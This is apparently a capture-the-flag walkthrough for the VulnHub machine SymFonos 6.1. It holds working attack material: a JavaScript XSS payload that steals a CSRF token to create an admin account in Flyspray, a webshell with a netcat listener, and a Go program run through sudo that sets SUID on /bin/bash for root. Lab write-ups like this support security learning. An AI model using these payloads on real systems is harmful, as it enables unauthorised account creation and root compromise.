SymFonos 6.1 - VulnHub

Introduction

In this machine, we are exploiting XSS to perform CSRF and abusing APIs to achieve RCE. Additionally, we are taking advantage of a Golang binary with sudoers configuration.

Reconnaissance

  • Nmap
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 192.168.1.151

  • Whatweb
whatweb http://192.168.1.151/

  • Gobuster
gobuster dir -u http://192.168.1.151/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 50

Exploitation

  • Searchsploit
searchsploit flyspray

searchsploit -m php/webapps/41918.txt
var tok = document.getElementsByName('csrftoken')[0].value;

var txt = '<form method="POST" id="hacked_form"action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'

var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();
  • Detect XXS in register pannel

  • XSS -> CSRF

python3 -m http.server 80

  • Login with new admin user

  • Login into Gitea with achilles credentials and check the repositories

If you don’t know php you can use chatgpt

  • Discover endpoints in symfonos-api repository

  • Endpoint /ls2o4g/v1.0/ping

  • Endpoint /ls2o4g/v1.0/auth/login

  • Endpoint /ls2o4g/v1.0/auth/check

  • Endpoint /ls2o4g/v1.0/posts/

  • Endpoint /ls2o4g/v1.0/posts/

  • Endpoint /ls2o4g/v1.0/posts/{id}

  • Endpoint /ls2o4g/v1.0/posts/{id}

  • Endpoint /ls2o4g/v1.0/posts/{id}

  • RCE

  • WebShell
base64 shell.php

nc -nlvp 9000

Post-exploitation

  • Migrate to achilles user
su achilles
  • Check sudoers
sudo -l

  • Exploit Go binary sudoers
package main

import (
    "log"
    "os/exec"
)

func main() {

    cmd := exec.Command("chmod", "u+s", "/bin/bash")

    err := cmd.Run()

    if err != nil {
        log.Fatal(err)
    }
}
sudo /usr/local/go/bin/go run bash.go
bash -p